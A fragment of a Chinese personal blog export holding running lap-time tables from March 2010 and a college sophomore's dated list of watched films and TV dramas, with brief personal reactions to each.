<td class="xl66"><strong>0:00:58</strong></td>
</tr>
<tr style="height: 15pt;" height="20">
<td class="xl65" style="height: 15pt;" height="20">8</td>
<td class="xl66">0:06:37</td>
<td class="xl66">0:00:51</td>
</tr>
<tr style="height: 15pt;" height="20">
<td class="xl65" style="height: 15pt;" height="20">9</td>
<td class="xl66">0:07:34</td>
<td class="xl66">0:00:57</td>
</tr>
<tr style="height: 15pt;" height="20">
<td class="xl65" style="height: 15pt;" height="20">10</td>
<td class="xl66"><strong>0:08:21</strong></td>
<td class="xl66">0:00:47</td>
</tr>
</tbody>
</table>
</div>
<h3>20100311</h3>
<p style="padding-left: 30px;">今天和<a title="www.zhangyin53.com" href="http://www.zhangyin53.com/">张胤</a>同学一起跑步,貌似没有昨天快.</p>
<p style="padding-left: 30px;">慢慢来吧.今天还跳了一会儿跳绳.居然一次能跳43次,感觉比较意外.</p>
<div style="padding-left: 30px;">
<table style="border-collapse: collapse; width: 144pt;" border="0" cellspacing="0" cellpadding="0" width="192">
<col style="width: 48pt;" width="64"></col>
<col style="width: 48pt;" width="64"></col>
<col style="width: 48pt;" width="64"></col>
<tbody>
<tr style="height: 15pt;" height="20">
<td class="xl65" style="height: 15pt; width: 48pt;" width="64" height="20">编号</td>
<td class="xl66" style="width: 48pt;" width="64">时间(h)</td>
<td class="xl65" style="width: 48pt;" width="64">用时(h)</td>
</tr>
<tr style="height: 15pt;" height="20">
<td class="xl65" style="height: 15pt;" height="20">1</td>
<td class="xl66">0:00:57</td>
<td class="xl66">0:00:57</td>
</tr>
<tr style="height: 15pt;" height="20">
<td class="xl65" style="height: 15pt;" height="20">2</td>
<td class="xl66">0:01:48</td>
<td class="xl66">0:00:51</td>
</tr>
<tr style="height: 15pt;" height="20">
<td class="xl65" style="height: 15pt;" height="20">3</td>
<td class="xl66">0:02:45</td>
<td class="xl66">0:00:57</td>
</tr>
<tr style="height: 15pt;" height="20">
<td class="xl65" style="height: 15pt;" height="20">4</td>
<td class="xl66">0:03:47</td>
<td class="xl66">0:01:02</td>
</tr>
<tr style="height: 15pt;" height="20">
<td class="xl65" style="height: 15pt;" height="20">5</td>
<td class="xl66">0:04:46</td>
<td class="xl66">0:00:59</td>
</tr>
<tr style="height: 15pt;" height="20">
<td class="xl65" style="height: 15pt;" height="20">6</td>
<td class="xl66">0:05:50</td>
<td class="xl66">0:01:04</td>
</tr>
<tr style="height: 15pt;" height="20">
<td class="xl65" style="height: 15pt;" height="20">7</td>
<td class="xl66">0:06:42</td>
<td class="xl66">0:00:52</td>
</tr>
<tr style="height: 15pt;" height="20">
<td class="xl65" style="height: 15pt;" height="20">8</td>
<td class="xl66">0:07:58</td>
<td class="xl66">0:01:16</td>
</tr>
<tr style="height: 15pt;" height="20">
<td class="xl65" style="height: 15pt;" height="20">9</td>
<td class="xl66">0:09:08</td>
<td class="xl66">0:01:10</td>
</tr>
<tr style="height: 15pt;" height="20">
<td class="xl65" style="height: 15pt;" height="20">10</td>
<td class="xl66">0:09:52</td>
<td class="xl66">0:00:44</td>
</tr>
</tbody>
</table>
</div>
<h3>20100310</h3>
<div style="padding-left: 30px;">
<table style="border-collapse: collapse; width: 144pt;" border="0" cellspacing="0" cellpadding="0" width="192">
<col style="width: 48pt;" width="64"></col>
<col style="width: 48pt;" width="64"></col>
<col style="width: 48pt;" width="64"></col>
<tbody>
<tr style="height: 15pt;" height="20">
<td class="xl63" style="height: 15pt; width: 48pt;" width="64" height="20">编号</td>
<td class="xl64" style="width: 48pt;" width="64">时间(min)</td>
<td class="xl63" style="width: 48pt;" width="64">用时(min)</td>
</tr>
<tr style="height: 15pt;" height="20">
<td class="xl63" style="height: 15pt;" height="20">1</td>
<td class="xl64">0:39:03</td>
<td class="xl64">0:39:03</td>
</tr>
<tr style="height: 15pt;" height="20">
<td class="xl63" style="height: 15pt;" height="20">2</td>
<td class="xl64">1:21:36</td>
<td class="xl64">0:42:33</td>
</tr>
<tr style="height: 15pt;" height="20">
<td class="xl63" style="height: 15pt;" height="20">3</td>
<td class="xl64">2:05:03</td>
<td class="xl64">0:43:27</td>
</tr>
<tr style="height: 15pt;" height="20">
<td class="xl63" style="height: 15pt;" height="20">4</td>
<td class="xl64">2:52:09</td>
<td class="xl64">0:47:06</td>
</tr>
<tr style="height: 15pt;" height="20">
<td class="xl63" style="height: 15pt;" height="20">5</td>
<td class="xl64">3:41:30</td>
<td class="xl64">0:49:21</td>
</tr>
<tr style="height: 15pt;" height="20">
<td class="xl63" style="height: 15pt;" height="20">6</td>
<td class="xl64">4:28:35</td>
<td class="xl64">0:47:05</td>
</tr>
<tr style="height: 15pt;" height="20">
<td class="xl63" style="height: 15pt;" height="20">7</td>
<td class="xl64">5:20:44</td>
<td class="xl64">0:52:09</td>
</tr>
<tr style="height: 15pt;" height="20">
<td class="xl63" style="height: 15pt;" height="20">8</td>
<td class="xl64">6:18:07</td>
<td class="xl64">0:57:23</td>
</tr>
<tr style="height: 15pt;" height="20">
<td class="xl63" style="height: 15pt;" height="20">9</td>
<td class="xl64">7:04:43</td>
<td class="xl64">0:46:36</td>
</tr>
<tr style="height: 15pt;" height="20">
<td class="xl63" style="height: 15pt;" height="20">10</td>
<td class="xl64">7:52:21</td>
<td class="xl64">0:47:38</td>
</tr>
</tbody>
</table>
</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">
<table style="border-collapse: collapse; width: 144pt;" border="0" cellspacing="0" cellpadding="0" width="192">
<col style="width: 48pt;" width="64"></col>
<col style="width: 48pt;" width="64"></col>
<col style="width: 48pt;" width="64"></col>
<tbody>
<tr style="height: 15pt;" height="20">
<td class="xl65" style="height: 15pt; width: 48pt;" width="64" height="20">编号</td>
<td class="xl66" style="width: 48pt;" width="64">时间</td>
<td class="xl65" style="width: 48pt;" width="64">用时</td>
</tr>
<tr style="height: 15pt;" height="20">
<td class="xl65" style="height: 15pt;" height="20">1</td>
<td class="xl66">0:00:57</td>
<td class="xl66">0:00:57</td>
</tr>
<tr style="height: 15pt;" height="20">
<td class="xl65" style="height: 15pt;" height="20">2</td>
<td class="xl66">0:01:48</td>
<td class="xl66">0:00:51</td>
</tr>
<tr style="height: 15pt;" height="20">
<td class="xl65" style="height: 15pt;" height="20">3</td>
<td class="xl66">0:02:45</td>
<td class="xl66">0:00:57</td>
</tr>
<tr style="height: 15pt;" height="20">
<td class="xl65" style="height: 15pt;" height="20">4</td>
<td class="xl66">0:03:47</td>
<td class="xl66">0:01:02</td>
</tr>
<tr style="height: 15pt;" height="20">
<td class="xl65" style="height: 15pt;" height="20">5</td>
<td class="xl66">0:04:46</td>
<td class="xl66">0:00:59</td>
</tr>
<tr style="height: 15pt;" height="20">
<td class="xl65" style="height: 15pt;" height="20">6</td>
<td class="xl66">0:05:50</td>
<td class="xl66">0:01:04</td>
</tr>
<tr style="height: 15pt;" height="20">
<td class="xl65" style="height: 15pt;" height="20">7</td>
<td class="xl66">0:06:42</td>
<td class="xl66">0:00:52</td>
</tr>
<tr style="height: 15pt;" height="20">
<td class="xl65" style="height: 15pt;" height="20">8</td>
<td class="xl66">0:07:58</td>
<td class="xl66">0:01:16</td>
</tr>
<tr style="height: 15pt;" height="20">
<td class="xl65" style="height: 15pt;" height="20">9</td>
<td class="xl66">0:09:08</td>
<td class="xl66">0:01:10</td>
</tr>
<tr style="height: 15pt;" height="20">
<td class="xl65" style="height: 15pt;" height="20">10</td>
<td class="xl66">0:09:52</td>
<td class="xl66">0:00:44</td>
</tr>
</tbody>
</table>
</div>
<hr />
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		<title>大二生活(电影篇)</title>
		<link>http://meiyou.org/2009/09/sophomore-movies/</link>
		<comments>http://meiyou.org/2009/09/sophomore-movies/#comments</comments>
		<pubDate>Fri, 04 Sep 2009 15:16:00 +0000</pubDate>
		<dc:creator>郭一实</dc:creator>
				<category><![CDATA[个人爱好]]></category>
		<category><![CDATA[电影]]></category>
		<category><![CDATA[电视]]></category>
		<category><![CDATA[站点推荐]]></category>

		<guid isPermaLink="false">http://meiyou.org/?p=1086</guid>
		<description><![CDATA[大二期间的电影电视列表.

粗体表示推荐,正常为一般,斜体为较差.

仅个人见解,请勿对号入座.]]></description>
			<content:encoded><![CDATA[<h2>电影列表:</h2>
<ul>
<li>How to Train Your Dragon / 驯龙高手 / 驯龙记(20100722)</li>
<li><strong>The Bucket List / 遗愿清单 / 一路玩到掛(20100721)</strong></li>
<li>The A-Team / 天龙特攻队 / 通天奇兵(20100720)</li>
<li><strong>Jeux d&#8217;enfants / 两小无猜 / 敢爱就来(20100719)</strong></li>
<li>窈窕绅士 / Dirt Rich in Shanghai(20100712)</li>
<li>과속스캔들 / 非常主播 / 超速绯闻(20100711)</li>
<li>7급 공무원 / 特工强档 / 七级公务员(20100710)</li>
<li>Final Destination / 死神来了 / 绝命终结站(20100709)</li>
<li><strong>슬픔보다 더 슬픈 이야기 / 比悲伤更悲伤的故事 / A Story Sadder Than Sadness(20100707)</strong></li>
<li>Training Day / 训练日 / 震撼教育(20100703)</li>
<li>叶问2：宗师传奇 / 叶问2(20100701)</li>
</ul>
<ul>
<li>Harry Potter and the Half-Blood Prince / 哈利·波特与混血王子(20100630)</li>
<li>Harry Potter and the Order of the Phoenix / 哈利·波特与凤凰社(20100626)</li>
<li>人在囧途 / Lost On Journey(20100625)</li>
<li><strong>Meet the Parents / 拜见岳父大人 / 非常女婿(20100622)</strong></li>
<li>Ghost Rider / 灵魂战车 / 恶灵骑士(20100617)</li>
<li>Vacancy 2: The First Cut / 针孔旅社2：前传(20100615)</li>
<li><strong>Vacancy / 针孔旅馆 / 空无一物(20100610)</strong></li>
<li>のだめカンタービレ　THE MOVIE I / 交响情人梦 最终乐章 前篇(20100604)</li>
</ul>
<ul>
<li><strong>李献计历险记 / 李献计历险记 / OTAKU之恋(20100528)</strong></li>
<li><strong>Pixels / 像素入侵 / 像素：复古游戏(20100522)</strong></li>
<li>The Gods Must Be Crazy / 上帝也疯狂 / 众神也疯狂 (上)(20100516)</li>
<li><strong>苏乞儿 / True Legend(20100515)</strong></li>
<li><strong>僕の初恋をキミに捧ぐ / 我的初恋情人 / 属于你的我的初恋(20100511)</strong></li>
<li>未来警察 / Future X-Cops(20100507)</li>
<li><strong>Front of the Class / 叫我第一名(20100506)</strong></li>
</ul>
<ul>
<li>The Matrix Revolutions / 黑客帝国3：矩阵革命(20100426)</li>
<li>The Matrix Reloaded / 黑客帝国2：重装上阵 / 黑客帝国2(20100426)</li>
<li><strong>The Matrix / 黑客帝国 / 骇客任务(20100425)</strong></li>
<li><strong>Se7en / 七宗罪 / 火线追缉令(20100422)</strong></li>
<li>Superbad / 太坏了 / 超级坏(20100417)</li>
<li><strong>岁月神偷 / 1969太空漫游(20100417)</strong></li>
<li><strong>越光宝盒 / Just Another Pandora&#8217;s Box(20100414)</strong></li>
<li>Big Fish / 大鱼 / 大智若鱼(20100413)</li>
<li>Alice in Wonderland / 爱丽丝梦游仙境 / 爱丽丝漫游仙境(20100405)</li>
</ul>
<ul>
<li>Good Luck Chuck / 幸运查克 / 倒数第二个男朋友(20100329)</li>
<li>全城热恋 / 全城热恋热辣辣(20100327)</li>
<li>72家租客 / 七十二家租客(20100321)</li>
<li><strong>大兵小将 / Little Big Soldier(20100319)</strong></li>
<li><strong>Everybody&#8217;s Fine / 天伦之旅 / 幸福窝天伦(20100312)</strong></li>
<li>整蛊专家 / Tricky Brains(20100302)</li>
<li>Sherlock Holmes / 大侦探福尔摩斯 / 福尔摩斯(20100302)<strong></strong></li>
<li><strong>Rescue Dawn / 重见天日 / 营救道恩(20100301)</strong></li>
</ul>
<ul>
<li>Shooter / 生死狙击 / 狙击手(20100228)</li>
<li>放‧逐 / Exiled(20100227)</li>
<li>枪火 / The Mission(20100226)</li>
<li>神探 / Mad Detective(20100226)</li>
<li>黑社会以和为贵 / 黑社会2(20100226)</li>
<li><strong>黑社会 / 龙城岁月(20100226)</strong></li>
<li><strong>每当变幻时 / Hooked On You(20100225)</strong></li>
<li><strong>MonGa / 艋舺 / 黑道青春(20100224)</strong></li>
<li><strong>Life After People / 人类消失后的世界 / 历史频道：人类消失后的世界(20100218)</strong></li>
<li>Sniper Inside The Crosshairs / 历史频道 狙击手 身在瞄准镜(20100218)</li>
<li>The Spy Next Door / 邻家特工 / 邻家间谍(20100216)</li>
<li>12 Angry Men / 十二怒汉 / 12怒汉(20100212)</li>
<li>花木兰 / Mulan(20100210)</li>
<li><em>刺陵 / The Treasure Hunter(20100209)</em></li>
<li><strong>Once Upon a Time in America / 美国往事 / 四海兄弟(20100207)</strong></li>
<li>犬と私の10の約束 / 狗狗和我的十个约定 / 我和狗狗的10个约定(20100205)</li>
<li>练习曲 / 单车环岛日志(20100203)</li>
</ul>
<ul>
<li><strong>藍色大門 / 蓝色大门 / 蓝色夏恋(20100129)</strong></li>
<li><strong>不能没有你 / No Puedo Vivir Sin Ti(20100127)</strong></li>
<li>The Hurt Locker / 拆弹部队 / 反恐防暴部队(20100124)</li>
<li>A Serious Man / 严肃的男人 / 一个严肃的人(20100123)</li>
<li><strong>The Road / 末日危途 / 路(20100123)</strong></li>
<li><strong>十月围城 / Bodyguards and Assassins(20100121)</strong></li>
<li><strong>聽說 / 听说 / Hear Me(20100118)</strong></li>
<li><strong>Phone Booth / 狙击电话亭 / 来电险事(20100116)</strong></li>
<li>Cube / 心慌方 / 异次元杀阵(20100116)<strong> </strong><strong></strong></li>
<li>开心鬼放暑假 / 开心鬼2(20100115)<strong> </strong><strong></strong></li>
<li>Up in the Air / 在云端 / 直上云霄(20100115)</li>
<li><strong>Avatar / 阿凡达 / 天神下凡(20100111)</strong></li>
<li>三枪拍案惊奇 / A Simple Noodle Story（20100108）</li>
<li><strong>The Time Traveler&#8217;s Wife / 时间旅行者的妻子 / 时空旅人之妻（20100105）</strong></li>
</ul>
<ul>
<li><strong>Gattaca / 千钧一发 / 变种异煞(20091228)</strong></li>
<li>撲克王 / 扑克王 / Poker King(20091226)</li>
<li><strong>My Sister&#8217;s Keeper / 姐姐的守护者 / 姊姊的守护者(20091222)</strong></li>
<li><strong>The Sixth Sense / 第六感 / 鬼眼(20091217)</strong></li>
<li>The Hitchhiker&#8217;s Guide to the Galaxy / 银河系漫游指南(20091217)</li>
<li><strong>The Prestige / 致命魔术 / 顶尖对决(20091216)</strong></li>
<li><strong>Carriers / 末日病毒 / 病毒携带者(20091216)</strong></li>
<li><strong>Trainspotting / 猜火车 / 迷幻列车(20091215)</strong></li>
<li>Sunshine / 太阳浩劫 / 阳光计划(20091215)</li>
<li><strong>Star Trek / 星际迷航 / 星际旅行11(20091215)</strong></li>
<li>新精武門1991 / 新精武门1991 / 新精武门一九九一(20091215)</li>
<li><strong>The Island / 逃出克隆岛 / 绝地再生(20091214)</strong></li>
<li>九二黑玫瑰对黑玫瑰 / 92黑玫瑰对黑玫瑰 / 黑蔷薇对黑蔷薇(20091213)</li>
<li><strong>Salò o le 120 giornate di Sodoma / 索多玛120天 / 萨罗(20091212)</strong></li>
<li>American Pie Presents Book of Love / 美国派7：索爱天书(20091211)</li>
<li><strong>World&#8217;s Greatest Dad / 世界上最伟大的父亲(20091210)</strong></li>
<li>BURN-E / 电焊工波力 / Wall-E番外篇：电焊工(20091209)</li>
<li>Bad Lieutenant: Port of Call New Orleans / 坏中尉 / 暴烈警官(20091209)</li>
<li><strong>50 First Dates / 初恋50次 / 第50次求婚 / 每天爱你第1次(20091208)</strong></li>
<li>皆、やってるか！/ 性爱狂想曲 / 大家一起来 / 北野武狂想曲(20091208)</li>
<li><strong>菊次郎の夏 / 菊次郎的夏天(20091207)</strong></li>
<li>G.I. Joe: The Rise of Cobra / 特种部队：眼镜蛇的崛起 / 义勇群英之毒蛇风暴 / 百战英雄(20091206)</li>
<li><strong>Das Leben der Anderen / 窃听风暴/ 他人的生活 / 别人的生活(20091205)</strong></li>
<li>Hannibal / 汉尼拔/ 人魔 / 沉默的杀机(20091205)</li>
<li><strong>Love Actually / 真爱至上 / 爱是您，爱是我 / 真的恋爱了(20091204)</strong></li>
<li><span style="color: #ff0000;"><strong>ただ、君を愛してる / 现在只想爱你 / 只是爱着你(20091203)</strong></span></li>
<li><strong>Mary and Max / 玛丽和马克思(20091203)</strong></li>
<li>時をかける少女 / 穿越时空的少女 (20091202)</li>
<li>World Trade Center / 世贸中心(20091201)</li>
<li><em>隋朝来客 / Visitors From The Sui Dynasty(20091201)</em></li>
</ul>
<ul>
<li>买凶拍人 / You Shoot, I Shoot(20091130)</li>
<li>2009吉林大学原创数字电影《彼岸》 / The Other Shore(20091129)</li>
<li><strong>いま、会いにゆきます / 借着雨点说爱你 / 现在，很想见你 / 大约在雨季(20091129)</strong></li>
<li>Catch Me If You Can / 猫鼠游戏 / 逍遥法外 / 神鬼交锋(20091128)</li>
<li>2012 / 2012末日预言 / 2012世界末日(20091126)</li>
<li><strong>情书 Love Letter(20091123)</strong></li>
<li><em>倔强萝卜 / Radish Warrior(20091122)</em></li>
<li><strong>The Green Mile / 绿色奇迹(20091121)</strong></li>
<li><strong>Interview with the Vampire: The Vampire Chronicles / 夜访吸血鬼(20091120)</strong></li>
<li><strong>画皮 / Painted Skin(20091119)</strong></li>
<li>Orphan / 孤儿(20091116)</li>
<li>李米的猜想 / 爱失偿 / The Equation of Love and Death(20091115)</li>
<li>G-Force / 豚鼠特攻队(20091115)</li>
<li><strong>风声(20091114)</strong></li>
<li><strong>(500) Days of Summer / 和莎莫的500天(20091113)</strong></li>
<li><strong>The Truman Show / 楚门的世界 / 真人戏 / 真人SHOW(20091104)</strong></li>
</ul>
<ul>
<li><strong>Léon / </strong><strong>这个杀手不太冷 / 杀手莱昂 / 终极追杀令(20091030)</strong></li>
<li><strong>Moon / 月球(20091029)</strong></li>
<li>有关时间旅行的热门问题 / Frequently Asked Questions About Time Travel(20091027)</li>
<li>代理人 / 机器化身 / 猎杀代理人(20091026)</li>
<li>诺丁山 / 摘星奇缘 / 新娘百分百(20091026)</li>
<li><strong>飞屋环游记 / 天外奇迹 / 冲天救兵(20091026)</strong></li>
<li>建国大业 / The Founding of A Republic(20091025)</li>
<li>终结者2018 / 终结者：救世主 / 魔鬼终结者4: 未来救赎(20091022)</li>
<li><strong>鬼子来了 / Devils on the Doorstep(20091022)</strong></li>
<li><strong>阳光灿烂的日子 / In the Heat of the Sun(20091016)</strong></li>
<li>Nine / 机器人9号 / 九 / Number 9(20091010)</li>
<li><strong>The Silence of the Lambs / 沉默的羔羊(20091004)</strong></li>
<li><strong>硫黄島からの手紙 / 硫磺岛家书 / Letters from Iwo Jima(20091003)</strong></li>
<li><strong>斗牛 / 革命牛 / 八路牛(20091001)</strong></li>
</ul>
<ul>
<li><strong>Run Lola Run / 罗拉快跑 / 疾走罗拉(20090929)</strong></li>
<li>欠我十万零五千 / OWE ME RMB105,000(20090929)</li>
<li><strong>김씨 표류기 / 金氏漂流记(20090918)</strong></li>
<li><strong>涙そうそう/ 泪光闪闪(20090911)</strong></li>
<li><strong>District 9 / 第九区(20090909)</strong></li>
<li>大内密探灵灵狗 / On His Majesty&#8217;s Secret Service(20090904)</li>
</ul>
<h2>电视列表:</h2>
<ul>
<li><strong>1リットルの涙 / 1公升的泪 / 一公升的眼泪(20100223:第1,2集;20100227:第3集;20100301:第4集;20100302:第5~7集;20100306:第8集;20100307:第9,10集;20100308:第11集;)</strong></li>
<li>野ブタ。をプロデュース / 野猪大改造(1~10集)(20100212~20100213)[完]</li>
<li><strong>のだめカンタービレ / 交响情人梦 / Nodame Cantabile(1~11集+SP1,2)(20100124~20100126)[完]</strong></li>
<li>嬢王 / Virgin(1~12集)(20100112~20100113)[完]</li>
<li><strong>プロポーズ大作戦 / 求婚大作战 (1~11集+SP)(20090919~20090920)[完]</strong></li>
</ul>
<h2>观影有感:</h2>
<h3>20100726 星期一 阴雨</h3>
<p style="padding-left: 30px;">虽然前几日一直处在考试的紧张状态中，也不知道自己为什么却可以看了那么多的电影。</p>
<p style="padding-left: 30px;">前几日看的《<a href="http://movie.douban.com/subject/1308817/">两小无猜</a>》和《<a href="http://movie.douban.com/subject/1867345/">遗愿清单</a>》不错。《两小无猜》表现的就是“如果爱，请深爱，如果不爱，请离开”。而《遗愿清单》就让人们看到自己真正想要的是什么东西，内容的想法是什么，被平常社会生活所压抑的想法是什么。什么是你真正的梦想，真正的思索，真正的信仰。</p>
<h3>20100712 星期一 阴雨</h3>
<p style="padding-left: 30px;">虽然面临考试的压力，但是这几天看的电影可不能说少。</p>
<p style="padding-left: 30px;">看了几个韩国电影：《<a href="http://movie.douban.com/subject/3805946/">比悲伤更悲伤的故事</a>》、《<a href="http://movie.douban.com/subject/3736691/">特工强档</a>》和《<a href="http://movie.douban.com/subject/3550132/">极速绯闻</a>》，其中《比悲伤更悲伤的故事》感觉还是挺不错的，很有韩国电影的套路。而剩下的两个就是纯粹的娱乐了，看过也就看过，无其他。</p>
<h3>20100623 星期三 晴</h3>
<p style="padding-left: 30px;">昨天看的《<a href="http://movie.douban.com/subject/1294829/">拜见岳父大人</a>》，原本是在听力课上的，但课上我在看别的书。所以就回来在1101看。挺有意思的。</p>
<h3>20100617 星期四 多云</h3>
<p style="padding-left: 30px;">《<a href="http://movie.douban.com/subject/1482077/">灵魂战车</a>》，尼古拉斯的另一种风格。</p>
<h3>20100612 星期六 小阵雨/阴</h3>
<p style="padding-left: 30px;">《<a href="http://movie.douban.com/subject/2002954/">针孔旅社</a>》没有想象的恐怖，反而感觉悬疑感更强烈一些。</p>
<h3>20100528 星期五 阵雨</h3>
<p style="padding-left: 30px;">《<a href="http://movie.douban.com/subject/4226741/">李献计历险记</a>》，还行。之前也是听说过，但就是没有看，这次看了，一个就是特别。视角独特。</p>
<h3>20100522 星期六 晴</h3>
<p style="padding-left: 30px;">视频短片《<a href="http://movie.douban.com/subject/4751270/">像素</a>》真的很棒。</p>
<p style="padding-left: 30px;">不论是想像还是制作效果，都很有吸引力，推荐！</p>
<h3>20100517 星期一 小雨</h3>
<p style="padding-left: 30px;">看完《<a href="http://movie.douban.com/subject/1297478/">上帝也疯狂</a>》，上帝没疯，我疯了。为啥评分如此之高？</p>
<h3>20100515 星期五 多云</h3>
<p style="padding-left: 30px;">不知道豆瓣的评分为何会如此低，我感觉《<a href="http://movie.douban.com/subject/3736637/">苏乞儿</a>》这部影片挺不错的，尤其是苏灿失去袁英的时候，感觉特别动人。</p>
<p style="padding-left: 30px;">还有就是影片最后苏灿再一次站起来的时候，民族自尊心一下子就上来了。真的很不错。</p>
<h3>20100511 星期二</h3>
<p style="padding-left: 30px;">刚看完《<a href="http://movie.douban.com/subject/3623024/">属于你的我的初恋</a>》。</p>
<p style="padding-left: 30px;">感觉自己还是太年轻（幼稚），竟然被老套的情节所感动。</p>
<h3>20100509 星期天 多云/阴</h3>
<p style="padding-left: 30px;">《<a href="http://movie.douban.com/subject/3329192/">未来警察</a>》，刘德华也开始走雷人路线了，累人。</p>
<h3>20100507 星期五 晴！</h3>
<p style="padding-left: 30px;">昨天晚上同<a title="zhangyin53.com" href="http://www.zhangyin53.com/">张胤</a>同学一起看的《<a href="http://movie.douban.com/subject/4798888/">叫我第一名</a>》还不错，励志电影。</p>
<h3>20100427 星期二 阴雨</h3>
<p style="padding-left: 30px;">记得小时候看过《<a href="http://movie.douban.com/subject/1291843/">黑客帝国</a>》，当时倒是对这部影片没有多大的反应，不过现在再重新多，感觉真的很不同。</p>
<p style="padding-left: 30px;">起码现在可以看明白导演要表达身意思，而且也知道影片中的逻辑关系。</p>
<p style="padding-left: 30px;">好像，有些事情，是需要时间才能真正的看清楚，看明白。</p>
<h3>20100418 星期天 小雨</h3>
<p style="padding-left: 30px;">《<a href="http://www.douban.com/subject/2059310/">超级坏</a>》应该起名“超级垃圾”，因为，真的是没有什么值得看的。</p>
<p style="padding-left: 30px;">《<a href="http://www.douban.com/subject/3792799/">岁月神偷</a>》。</p>
<h3>20100414 星期三 晴</h3>
<p style="padding-left: 30px;">我发现我很喜欢看时空类的电影，今天看的《<a href="http://movie.douban.com/subject/3928370/">越光宝盒</a>》就感觉不错，有几个桥段还是挺不错的。</p>
<p style="padding-left: 30px;">真的，我们不是神仙。我们不能在被人登下水后再返回到500年后重新来过，所以，请珍惜现在。</p>
<p style="padding-left: 30px;"><strong>人们的悲哀在于，应当珍惜的时候不懂得珍惜。而当懂得珍惜的时候，却失去了珍惜的机会。</strong></p>
<h3>20100410 星期六 阴</h3>
<p style="padding-left: 30px;">这几天，忙。</p>
<p style="padding-left: 30px;">前些日子看《<a href="http://movie.douban.com/subject/2336785/">爱丽丝梦游仙境</a>》，还是3D IMAX的效果好啊。</p>
<p style="padding-left: 30px;">故事一般，童话故事。但是效果还是可以的。</p>
<h3>20100321 星期天 晴</h3>
<p style="padding-left: 30px;">&lt;<a href="http://www.douban.com/subject/4062922/">72家租客</a>&gt;,感觉不是看的电影,有电视剧的感觉.</p>
<p style="padding-left: 30px;">乱七八糟的.</p>
<h3>20100319 星期五 阴</h3>
<p style="padding-left: 30px;">&lt;<a href="http://www.douban.com/subject/3279107/">大兵小将</a>&gt;,平安才是福.</p>
<h3>20100312 星期五 中雪</h3>
<p style="padding-left: 30px;">&lt;<a href="http://www.douban.com/subject/3041749/">天伦之旅</a>&gt;,很温馨,很感人.</p>
<h3>20100308 星期一 开学第一天</h3>
<p style="padding-left: 30px;">有些东西,失去后方去珍惜.</p>
<p style="padding-left: 30px;">都想有个时光机,帮我回到过去.</p>
<p style="padding-left: 30px;">既然知道不能如此,就不要去麻痹自己.珍惜现在,才能拥有未来.</p>
<p style="padding-left: 30px;">&lt;<a href="http://www.douban.com/subject/1436900/">一升的眼泪</a>&gt;让人思考很多.</p>
<h3>20100304 星期四 阴</h3>
<p style="padding-left: 30px;">之前在家懒的更新,今天把前些天看的电影写一下.</p>
<p style="padding-left: 30px;">&lt;<a href="http://www.douban.com/subject/1790577/">放逐</a>&gt;看了感觉印象不深.是枪火的&#8221;续集&#8221;.</p>
<p style="padding-left: 30px;">&lt;<a href="http://www.douban.com/subject/1947549/">生死阻击</a>&gt;,主要讲的是阻击手,被人陷害,然后通过自己的能力查明真相,一般.好莱坞的老套路.没有太大的吸引力.</p>
<p style="padding-left: 30px;">&lt;<a href="http://www.douban.com/subject/1785166/">重见天日</a>&gt;倒是挺真实的.我就比较喜欢这类的&#8221;越狱&#8221;片.对自己能力的挑战,不相信命运的安排.</p>
<p style="padding-left: 30px;">&lt;<a href="http://www.douban.com/subject/2998270/">大侦探福尔摩斯</a>&gt;,感觉印象中的福尔摩斯应该不是一个能打好斗的人,但是这个片子改变了他在我心中的印象,这个人听牛.呵呵.所以就是太假,太好莱坞.</p>
<p style="padding-left: 30px;">之前其实看过&lt;<a href="http://www.douban.com/subject/1299680/">整蛊专家</a>&gt;,但是当时看到题目时想不到县官的剧情,就又看了一遍.还是周星驰搞笑啊.</p>
<h3>20100226 星期五 阴</h3>
<p style="padding-left: 30px;">刚才在思索用不用把&lt;<a href="http://www.douban.com/subject/1300741/">枪火</a>&gt;加粗,在脑子里把整个电影过了一遍.感觉现在的我感觉它没有这个分量.</p>
<p style="padding-left: 30px;">这个电影的结尾处,当阿信准备登船跑路的时候.Mike把他叫住,说,因为阿信一个人,其他4个人都不会有好的结果.</p>
<p style="padding-left: 30px;">这时,我想.这就应该是责任.如果社团让你死,你不去死的话,别人就会为你死.有些事情,做了就应该承担相应的责任.如果不去承担.那当初为何还要去做?</p>
<h3>20100225 星期四</h3>
<p style="padding-left: 30px;">&lt;<a href="http://www.douban.com/subject/2070367/">每当变幻时</a>&gt;,很棒的说.推荐看之.</p>
<p style="padding-left: 30px;">借用一个网友的<a title="青衫磊落与桃花东风" href="http://www.douban.com/review/1403666/">豆瓣评论</a>:</p>
<p style="padding-left: 60px;">To 阿妙</p>
<p>你以为你在向前奔跑时，别人都在原地等你吗？</p>
<p>你以为你幻想中的男人与你真正相配吗？</p>
<p>其实最精通小资生活与女人心思的，是西门庆吧？</p>
<p style="padding-left: 30px;">这同时让我想起一句话:<em>人们的悲哀在于,应当珍惜的时候不懂得珍惜,当懂得珍惜的时候却失去了珍惜的机会.</em></p>
<h3>20100224 星期三</h3>
<p style="padding-left: 30px;">有一段时间没有看电影了,最近感觉就是没有什么好电影可看的,或者感觉有点&#8221;浪费&#8221;时间.</p>
<p style="padding-left: 30px;">虽然&lt;<a href="http://www.douban.com/subject/3737102/">艋舺</a>&gt;在眼前晃悠N久,就是没有去看,害怕浪费我两个小时的时间.</p>
<p style="padding-left: 30px;">但是,今天终于忍不住看看,感觉真是超值.的确是一部很棒的电影.</p>
<p style="padding-left: 30px;">棒!</p>
<h3>20100219 星期五 晴</h3>
<p style="padding-left: 30px;">昨天看了两个纪录片,先看的是&lt;<a href="http://www.douban.com/subject/3749209/">身在瞄准镜</a>&gt;,感觉历史频道的纪录片很牛,后来又看了一个纪录片&lt;<a href="http://www.douban.com/subject/2973851/">人类消失后的世界</a>&gt;,感觉这个要比前一个有深度.</p>
<p style="padding-left: 30px;">在&lt;人类消失后的世界&gt;里,片中说1万年以后就再也没有任何人类活动的痕迹,感觉这个比较触动人.那现在的你我的意义在什么地方呢?</p>
<h3>20100217 星期三 晴</h3>
<p style="padding-left: 30px;">为啥成龙的<a href="http://www.douban.com/subject/3179758/">&lt;邻家特工</a>&gt;给人一种嘻哈的感觉呢?</p>
<p style="padding-left: 30px;">没有内涵.让人乐起来都勉强.</p>
<h3>20100214 星期天</h3>
<p style="padding-left: 30px;">&lt;<a href="http://www.douban.com/subject/1293182/">十二怒汉</a>&gt;他们都说很&#8221;人性&#8221;,我怎么就没有看出来呢?唉,个人境界达不到啊.呵呵.</p>
